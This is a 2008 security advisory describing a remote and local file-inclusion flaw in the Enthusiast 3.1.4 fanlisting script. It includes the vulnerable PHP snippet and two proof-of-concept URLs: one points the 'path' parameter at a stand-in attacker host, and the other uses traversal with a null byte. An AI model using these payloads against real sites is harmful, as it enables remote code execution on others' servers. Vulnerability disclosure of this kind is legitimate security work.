Enthusiast 3 Remote Code Execution

########################## www.BugReport.ir #########################
#
# AmnPardaz Security Research Team
#
# Title: Enthusiast 3 Remote Code Execution
# Vendor: http://scripts.indisguise.org/enthusiast/
# Bug: File Inclusion
# Vulnerable Version: 3.1.4 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
# Original Advisory: http://www.bugreport.ir/index_57.htm
###################################################################

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- Description:
####################

Enthusiast is a full-featured member listing collective management
script. It is geared towards fanlisting owners who own multiple
fanlistings, but easily

customizable for other types of listings as well?cliques, physical
listings, taboo listings, and the like.

####################
- Vulnerability:
####################

+--> File Inclusion

When register_globals is enabled, Its possible to include arbitrary
files from local or remote resources.

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- Code Snippet:
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/show_joined.php #line:261-264

<p class="show_joined_credits">
<a href="http://scripts.indisguise.org">Powered by Enthusiast
<?php include $path . 'show_enthversion.php' ?></a>
</p>

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- Exploits/POCs:
####################

POC:
http://example.com/enth_3.1.4/enth3/show_joined.php?path=http://evilsite/
(this one includes show_enthversion.php from evilsite)
POC:
http://example.com/enth_3.1.4/enth3/show_joined.php?path=../../evilscript.php%00 (this requiers magic_quotes_gpc to be
disabled)

####################
- Credit :
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.comz
Received on Nov 09 2008